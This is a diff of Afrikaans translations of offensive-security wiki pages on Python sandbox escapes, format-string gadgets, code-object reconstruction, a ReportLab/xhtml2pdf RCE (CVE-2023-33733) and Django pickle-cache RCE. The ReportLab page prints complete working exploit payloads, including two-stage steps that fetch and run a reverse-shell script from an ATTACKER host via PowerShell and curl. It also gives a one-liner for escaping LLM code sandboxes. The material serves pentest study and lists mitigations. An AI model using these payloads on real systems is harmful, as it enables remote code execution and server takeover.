-Boonop is dit moontlik om **code new formatters** in klasse:
+Verder is dit moontlik om **code new formatters** in klasse:
 ```python
 class HAL9000(object):
 def __format__(self, format):
@ -712,7 +711,7 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Meer voorbeelde** oor **format** **string** kan gevind word by [**https://pyformat.info/**](https://pyformat.info)
+**Meer voorbeelde** oor **format** **string** voorbeelde kan gevind word by [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
 > Kyk ook na die volgende bladsy vir gadgets wat r**ead sensitive information from Python internal objects**:
@ -722,7 +721,7 @@ return 'HAL 9000'
 ../python-internal-read-gadgets.md
 {{#endref}}

-### Gevoelige Inligting Bekendmaking Payloads
+### Gevoelige Inligting Disclosure Payloads
 ```python
 {whoami.__class__.__dict__}
 {whoami.__globals__[os].__dict__}
@ -738,22 +737,22 @@ secret_variable = "clueless"
 x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
 str(x) # Out: clueless
 ```
-### Omseiling van LLM-jails
+### LLM Jails bypass

-From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+Van [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

-### Van format na RCE deur biblioteke te laai
+### From format to RCE loading libraries

-According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
+Volgens die [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre biblioteke van die skyf te laai deur die format string vulnerability in python te misbruik.

-Ter herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie aangeroep. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.
+Ter herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer, en **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.

-You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
+Daar is meer hiervan in die afdeling [**Python execution without calls**](#python-execution-without-calls).

-A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
-However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
+A python format string vuln laat nie toe om 'n funksie uit te voer (dit laat nie toe om parenthesis te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)` nie.\
+Echter, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python-biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry.

-Op soek na so 'n gadget in python, stel die writeup hierdie [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
+Op soek na 'n gadget soos dit in python, stel die writeup hierdie [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -775,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Hierdie gadget maak dit moontlik om **'n biblioteek vanaf die skyf te laai**. Daarom is dit nodig om op een of ander manier **die biblioteek wat gelaai moet word te skryf of op te laai**, en dit moet korrek saamgestel wees vir die geteikende bediener.
+Hierdie gadget laat toe om **'n biblioteek vanaf die skyf te laai**. Daarom is dit nodig om die biblioteek wat gelaai gaan word eers korrek te kompileer en op een of ander manier na die geteikende bediener **te skryf of op te laai**.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die server wat dit toelaat om arbitrêre lêers op die bediener se skyf te skep.
+Die challenge misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers op die bediener se skyf te skep.

-## Ontleding van Python Objects
+## Ontleding van Python-objekte

 > [!TIP]
-> As jy **wil leer** oor **python bytecode** in diepte, lees hierdie **fantastiese** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> As jy **wil leer** oor **python bytecode** in diepte, lees hierdie **fantastiese** post oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-In sommige CTFs kan jy die naam van 'n **custom function where the flag** gegee word en jy moet die **internals** van die **function** sien om dit te onttrek.
+In sommige CTFs kan jy die naam van 'n **custom function where the flag** voorsien word en jy moet die **internals** van die **function** sien om dit te onttrek.

-Dit is die function om te inspekteer:
+Dit is die function om te ondersoek:
 ```python
 def get_flag(some_input):
 var1=1
@ -799,7 +798,7 @@ return "THIS-IS-THE-FALG!"
 else:
 return "Nope"
 ```
-#### gids
+#### dir
 ```python
 dir() #General dir() to find what we have loaded
 ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -808,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` and `func_globals` (Dieselfde) verkry die globale omgewing. In die voorbeeld kan jy 'n paar geïmporteerde modules sien, asook 'n paar globale veranderlikes en hul verklaarde inhoud:
+`__globals__` en `func_globals` (Dieselfde) kry die globale omgewing. In die voorbeeld kan jy 'n paar geïmporteerde modules, 'n paar globale veranderlikes en hul verklaarde inhoud sien:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -819,9 +818,9 @@ CustomClassObject.__class__.__init__.__globals__
 ```
 [**See here more places to obtain globals**](#globals-and-locals)

-### **Toegang tot die funksiekode**
+### **Toegang tot die funksie se code**

-**`__code__`** en `func_code`: Jy kan **toegang kry tot** hierdie **attribuut** van die funksie om die **code object** van die funksie te verkry.
+**`__code__`** en `func_code`: Jy kan **toegang kry** tot hierdie **attribuut** van die funksie om **die code object van die funksie te verkry**.
 ```python
 # In our current example
 get_flag.__code__
@ -835,7 +834,7 @@ compile("print(5)", "", "single")
 dir(get_flag.__code__)
 ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
 ```
-### Verkry kode-inligting
+### Kry kode-inligting
 ```python
 # Another example
 s = '''
@ -881,7 +880,7 @@ get_flag.__code__.co_freevars
 get_flag.__code__.co_code
 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
 ```
-### **Disassembleer 'n funksie**
+### **Ontleding van 'n funksie**
 ```python
 import dis
 dis.dis(get_flag)
@ -909,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Let daarop dat **as jy nie `dis` in die python sandbox kan importeer nie** kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kry en dit lokaal **disassemble**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai uit (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
+Let wel dat **as jy nie `dis` in die python sandbox kan importeer nie** kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) bekom en dit plaaslik **disassemble**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan hulle raai uit (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word aandui.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -931,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 44 LOAD_CONST          0 (0)
 47 RETURN_VALUE
 ```
-## Kompilering van Python
+## Compiling Python

-Nou, laat ons voorstel dat jy op een of ander manier kan **dump die inligting oor 'n funksie wat jy nie kan execute nie** maar jy **moet** dit **execute**.\
-Soos in die volgende voorbeeld, kan jy **toegang kry tot die code object** van daardie funksie, maar deur net die disassemble te lees weet jy **nie hoe om die flag te bereken nie** (_stel jou 'n meer komplekse `calc_flag` funksie voor_)
+Nou, stel jou voor dat jy op een of ander manier die **dump the information about a function that you cannot execute** kan kry, maar jy **need** om dit te **execute**.\
+Soos in die volgende voorbeeld kan jy die **can access the code object** van daardie funksie kry, maar deur net die disassemble te lees **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
 ```python
 def get_flag(some_input):
 var1=1
@ -947,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
 else:
 return "Nope"
 ```
-### Skep van die code object
+### Skep die code object

-Eerstens moet ons weet **hoe om 'n code object te skep en uit te voer** sodat ons een kan skep om ons funksie leaked:
+Eerstens moet ons weet **how to create and execute a code object** sodat ons een kan skep om ons function leaked uit te voer:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -969,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> Afhangend van die python-weergawe kan die **parameters** van `code_type` 'n **verskillende volgorde** hê. Die beste manier om die volgorde van die params in die python-weergawe wat jy gebruik te weet, is om die volgende uit te voer:
+> Afhangend van die python-weergawe kan die **parameters** van `code_type` 'n **ander volgorde** hê. Die beste manier om die volgorde van die params in die python-weergawe wat jy gebruik te bepaal, is om die volgende uit te voer:
 >
 > ```
 > import types
@ -980,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ### Herskep 'n leaked funksie

 > [!WARNING]
-> In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk vanaf die funksie se code object te herskep. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet leak**.
+> In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk vanaf die funksie se code object te her-skep. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,12 +990,12 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Verdediging omseil
+### Bypass Defenses

-In vorige voorbeelde aan die begin van hierdie pos, kan jy sien **hoe om enige python code uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele scripts** met lusse en alles in 'n **eenreël** kan uitvoer (en ons kon dieselfde met **`exec`** doen).\
-In elk geval, soms kan dit nuttig wees om 'n **compiled object** op 'n plaaslike masjien te **skep** en dit op die **CTF machine** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
+In vorige voorbeelde aan die begin van hierdie pos kan jy sien **hoe om enige python code uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele scripts** met loops en alles in 'n **one liner** kan uitvoer (en ons kon dieselfde doen met **`exec`**).\  
+En soms kan dit nuttig wees om 'n **compiled object** op 'n plaaslike masjien te **skep** en dit op die **CTF machine** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie op die CTF het nie).

-Byvoorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
+Byvoorbeeld, kom ons compileer en voer manueel 'n funksie uit wat _./poc.py_:
 ```python
 #Locally
 def read():
@ -1023,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-As jy nie toegang tot `eval` of `exec` het nie, kan jy 'n **behoorlike funksie** skep, maar dit direk aanroep gaan gewoonlik misluk met: _constructor not accessible in restricted mode_. Jy het dus 'n **funksie wat nie in die beperkte omgewing is om hierdie funksie aan te roep.**
+As jy nie toegang tot `eval` of `exec` het, kan jy 'n **behoorlike funksie** skep, maar om dit direk aan te roep, gaan gewoonlik misluk met: _konstruktor nie toeganklik in beperkte modus nie_. Jy het dus 'n **funksie wat nie in die beperkte omgewing is nie, nodig om hierdie funksie aan te roep.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1031,22 +1030,22 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Dekompilering van gecompileerde Python
+## Dekompilering van Gekompileerde Python

-Met gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan mens **decompile** gegewe gecompileerde Python-kode.
+Deur hulpmiddele soos [**https://www.decompiler.com/**](https://www.decompiler.com) te gebruik kan mens gegewe gekompileerde Python-kode **decompile**.

-**Kyk na hierdie tutoriaal**:
+**Kyk na hierdie tutorial**:


 {{#ref}}
 ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}

-## Verskeie Python
+## Ander Python

 ### Assert

-Python wat met optimalisering uitgevoer word met die parameter `-O` verwyder asset statements en enige kode wat voorwaardelik is op die waarde van **debug**.\
+Python wat met optimalisering uitgevoer word met die parameter `-O` sal `assert` statements en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
 Daarom sal kontroles soos
 ```python
 def check_permission(super_user):
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -1,54 +1,54 @@
-# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
+# ReportLab/xhtml2pdf [[[...]]] uitdrukking-evaluering RCE (CVE-2023-33733)

 {{#include ../../../banners/hacktricks-training.md}}

-Hierdie bladsy dokumenteer 'n praktiese sandbox-ontsnapping en RCE-primitive in ReportLab’s rl_safe_eval wat deur xhtml2pdf en ander PDF-generasie-pipelines gebruik word wanneer gebruikersgekontroleerde HTML in PDF's omgeskakel word.
+Hierdie bladsy dokumenteer 'n praktiese sandbox-ontsnapping en RCE-primitive in ReportLab se rl_safe_eval, gebruik deur xhtml2pdf en ander PDF-generasie-pipelines wanneer gebruiker-gestuurde HTML in PDF's gerender word.

-CVE-2023-33733 beïnvloed ReportLab-weergawes tot en met 3.6.12. In sekere attribuutkontekste (byvoorbeeld color) word waardes wat in triple brackets [[[ ... ]]] ingesluit is server-side deur rl_safe_eval geëvalueer. Deur 'n payload te vervaardig wat van 'n toegelate builtin (pow) na sy Python-funksie globals pivot, kan 'n aanvaller die os-module bereik en opdragte uitvoer.
+CVE-2023-33733 raak ReportLab-weergawes tot en met 3.6.12. In sekere attribuutkontekste (byvoorbeeld color) word waardes wat in drievoudige hakies [[[ ... ]]] geplaas is server-side deur rl_safe_eval geëvalueer. Deur 'n payload te maak wat vanaf 'n witgelysde builtin (pow) na sy Python-funksie __globals__ pivoteer, kan 'n aanvaller die os-module bereik en opdragte uitvoer.

-Belangrike punte
- Trigger: injecteer [[[ ... ]]] in geëvalueerde attributen soos <font color="..."> binne markup wat deur ReportLab/xhtml2pdf gepars word.
- Sandbox: rl_safe_eval vervang gevaarlike builtins maar geëvalueerde funksies gee steeds toegang tot __globals__.
- Bypass: skep 'n tydelike klas Word om rl_safe_eval se naamkontroles te omseil en die string "__globals__" te bereik terwyl geblokkeerde dunder-filtering vermy word.
+Hoofpunte
+- Trigger: inject [[[ ... ]]] in geëvalueerde attribuutte soos <font color="..."> binne merkode wat deur ReportLab/xhtml2pdf gepars word.
+- Sandbox: rl_safe_eval vervang gevaarlike builtins, maar geëvalueerde funksies openbaar steeds __globals__.
+- Bypass: skep 'n tydelike klas Word om rl_safe_eval se naamkontroles te omseil en die string "__globals__" te bekom terwyl geblokkeerde dunder-filtering vermy word.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabiliteit: Gee 'n geldige waarde vir die attribuut terug na uitvoering (vir color, gebruik bv. 'red').
+- Stability: Gee 'n geldige waarde vir die attribuut terug ná die uitvoering (vir color, gebruik byvoorbeeld 'red').

 Wanneer om te toets
- Toepassings wat HTML-na-PDF uitvoer (profiele, fakture, verslae) blootstel en xhtml2pdf/ReportLab in PDF-metadata of HTTP-antwoord-opmerkings vertoon.
+- Aansoeke wat HTML-na-PDF-eksport openbaar (profiele, fakture, verslae) en xhtml2pdf/ReportLab in PDF-metagedata of HTTP-respons-kommentare vertoon.
 - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP-antwoord vir PDF begin dikwels met 'n ReportLab generator-opmerking
+- HTTP-respons vir PDF begin dikwels met 'n ReportLab-generatoropmerking

-Hoe die sandbox-bypass werk
- rl_safe_eval verwyder of vervang baie builtins (getattr, type, pow, ...) en pas naamfiltering toe om attributen wat met __ begin of op 'n denylist is te weier.
- Tóg lewe veilige funksies in 'n globals-dictionary wat toeganklik is as func.__globals__.
- Gebruik type(type(1)) om die werklike builtin type-funksie te herstel (om ReportLab se wrapper te omseil), en definieer dan 'n Word-klas wat van str aflei met veranderde vergelykingsgedrag sodat:
- .startswith('__') → altyd False (omseil naam startswith('__')-kontrole)
- .__eq__ gee eers False by die eerste vergelyking (omseil denylist-lidmaatskap-kontroles) en True daarna (sodat Python getattr werk)
- .__hash__ is gelyk aan hash(str(self))
- Hiermee gee getattr(pow, Word('__globals__')) die globals-dict van die gewrapte pow-funksie terug, wat 'n geïmporteerde os-module bevat. Dan: ['os'].system('<cmd>').
+Hoe die sandbox-omseiling werk
+- rl_safe_eval verwyder of vervang baie builtins (getattr, type, pow, ...) en pas naamfiltering toe om attributte wat met __ begin of in 'n denylist is te weier.
+- Hierdie veilige funksies leef egter in 'n globals-dictionary wat toeganklik is as func.__globals__.
+- Gebruik type(type(1)) om die werklike builtin type-funksie te herstel (om ReportLab se wrapper te omseil), en definieer dan 'n Word-klas wat van str aflei met gemuteerde vergelykingsgedrag sodat:
+- .startswith('__') → altyd False (omseil naam startswith('__') kontrole)
+- .__eq__ gee slegs by die eerste vergelyking False terug (omseil denylist-lidmaatskapkontroles) en True daarna (sodat Python getattr werk)
+- .__hash__ gelyk aan hash(str(self))
+- Hiermee gee getattr(pow, Word('__globals__')) die globals-dictionary van die omlêende pow-funksie terug, wat 'n geïmporteerde os-module insluit. Dan: ['os'].system('<cmd>').

-Minimale uitbuitingspatroon (attribuutvoorbeeld)
-Plaas payload binne 'n geëvalueerde attribuut en verseker dat dit 'n geldige attribuutwaarde teruggee via boolean en 'red'.
+Minimale eksploit-patroon (attribuutvoorbeeld)
+Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- Die list-comprehension-vorm laat 'n enkele uitdrukking toe wat deur rl_safe_eval aanvaarbaar is.
- Die stukkende and 'red' gee 'n geldige CSS-kleur terug sodat die rendering nie breek nie.
- Vervang die opdrag soos benodig; gebruik ping om uitvoering met tcpdump te verifieer.
+- Die lys-komprehensievorm laat 'n enkele uitdrukking toe wat deur rl_safe_eval aanvaarbaar is.
+- Die agtervoegsel and 'red' gee 'n geldige CSS-kleur terug sodat die rendering nie breek nie.
+- Vervang die opdrag soos nodig; gebruik ping om uitvoering met tcpdump te verifieer.

 Operasionele werkvloei
 1) Identifiseer die PDF-generator
- PDF Producer toon xhtml2pdf; HTTP-antwoord bevat ReportLab-opmerking.
-2) Vind 'n inset wat in die PDF weerspieël word (bv. profiel bio/beskrywing) en trigger 'n uitvoer.
-3) Verifieer uitvoering met lae-geluids-ICMP
- Voer uit: sudo tcpdump -ni <iface> icmp
+- PDF Producer wys xhtml2pdf; HTTP-respons bevat ReportLab-opmerking.
+2) Vind 'n inset wat in die PDF gereflekteer word (bv. profile bio/description) en trigger 'n eksport.
+3) Verifieer uitvoering met lae-ruis ICMP
+- Run: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
- Windows stuur dikwels presies vier echo-aanvrae standaard.
+- Windows stuur dikwels presies vier echo-versoeke standaard.
 4) Vestig 'n shell
- Vir Windows is 'n betroubare twee-fase-benadering beskikbaar wat aanhaling-/koderingprobleme vermy:
- Fase 1 (download):
+- Vir Windows is 'n betroubare twee-fase benadering beter om aanhaling-/koderingproblème te vermy:
+- Fase 1 (aflaai):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

@ -56,24 +56,24 @@ Operasionele werkvloei

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Vir Linux-teikens is 'n soortgelyke twee-fase met curl/wget moontlik:
+- Vir Linux-doelwitte is 'n soortgelyke twee-fase met curl/wget moontlik:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Notas en wenke
- Attribuutkontekste: color is 'n bekende geëvalueerde attribuut; ander attributen in ReportLab-markup mag ook uitdrukkings-evaluasie uitvoer. As een plek gesanitiseer is, probeer ander plekke wat in die PDF-vloei gerender word (verskillende velde, tabelstyle, ens.).
- Aanhaling: Hou opdragte kompak. Twee-fase downloads verminder aansienlik aanhaling- en ontsnapprobleme.
- Betroubaarheid: As uitvoere gecache of geplaas is, varieer effens die payload (bv. ewekansige pad of query) om te verhoed dat caches getref word.
+- Attribuutkontekste: color is 'n bekende geëvalueerde attribuut; ander attributte in ReportLab-markup kan ook uitdrukkings evalueer. As een plek gesaniteer is, probeer ander plekke wat in die PDF-stroom gerender word (verskillende velde, tabelstyle, ens.).
+- Aanhaling: Hou opdragte kompakt. Twee-fase aflaaie verminder drasties aanhaling- en ontsnappingsprobleme.
+- Betroubaarheid: As uitvoere in kas of rye geplaas word, varieer effens die payload (bv. 'n ewekansige pad of query) om te verhoed om kas te tref.

 Mitigasies en opsporing
- Werk ReportLab op na 3.6.13 of later (CVE-2023-33733 is reggestel). Volg ook sekuriteitsadvies in distro-pakkette.
- Voer nie gebruikersgekontroleerde HTML/markup direk na xhtml2pdf/ReportLab sonder streng sanitasie nie. Verwyder/weier [[[...]]] evaluasie-konstruksies en vendor-spesifieke tags wanneer inset onbetroubaar is.
- Oorweeg om rl_safe_eval heeltemal uit te skakel of toe te draai vir onbetroubare insette.
- Monitor vir verdagte uitgaande verbindings tydens PDF-generasie (bv. ICMP/HTTP vanaf toepassingsbedieners wanneer dokumente uitgevoer word).
+- Werk ReportLab op na 3.6.13 of later (CVE-2023-33733 reggestel). Volg ook sekuriteitsadvies in distro-pakkette.
+- Moet nie gebruiker-gestuurde HTML/markup direk in xhtml2pdf/ReportLab invoer sonder streng sanitisering nie. Verwyder/weier [[[...]]] evaluasie-konstruksies en vendor-spesifieke tags wanneer insette onbetroubaar is.
+- Oorweeg om rl_safe_eval-gebruik heeltemal uit te skakel of te wrap vir onbetroubare insette.
+- Monitor vir verdagte uitgaande verbindings tydens PDF-generasie (bv. ICMP/HTTP vanaf app-bedieners tydens uitvoer van dokumente).

 Verwysings
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
+- PoC en tegniese analise: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
 - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
+- NVD inskrywing (geaffekteerde weergawes): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
+- xhtml2pdf docs (merkode/bladsy-konsepte): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -2,43 +2,43 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Cache Manipulation to RCE
-Django se standaard cache-stoormetode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat tot RCE kan lei as [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skryf toegang tot die cache kry, kan hulle hierdie kwesbaarheid eskaleer na RCE op die onderliggende bediener**.
+## Cache-manipulasie na RCE
+Django se standaard stoormetode vir cache is [Python pickles](https://docs.python.org/3/library/pickle.html), wat tot RCE kan lei as [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n attacker skriftoegang tot die cache kan kry, kan hulle hierdie kwesbaarheid eskaleer na RCE op die onderliggende bediener**.

-Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis-server of database gestoor is, is die waarskynlikste aanvalvektore (Redis injection en SQL injection), maar 'n aanvaller kan ook file-based cache gebruik om 'n arbitraire skryf in RCE om te skakel. Onderhouders het dit as 'n nie-kwessie gemerk. Dit is belangrik om te let dat die cache-lêergids, SQL-tabelnaam, en Redis-bedienerbesonderhede sal verskil gebaseer op implementasie.
+Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache gestoor in 'n Redis-server of database is die waarskynlikste aanvalsvlakke (Redis injection en SQL injection), maar 'n attacker kan ook file-based cache gebruik om 'n arbitrary write in RCE om te skakel. Onderhouers het dit as 'n non-issue gemerk. Dit is belangrik om te let dat die cache-lêergids, SQL-tabelnaam en Redis-bedienerbesonderhede sal wissel volgens die implementering.

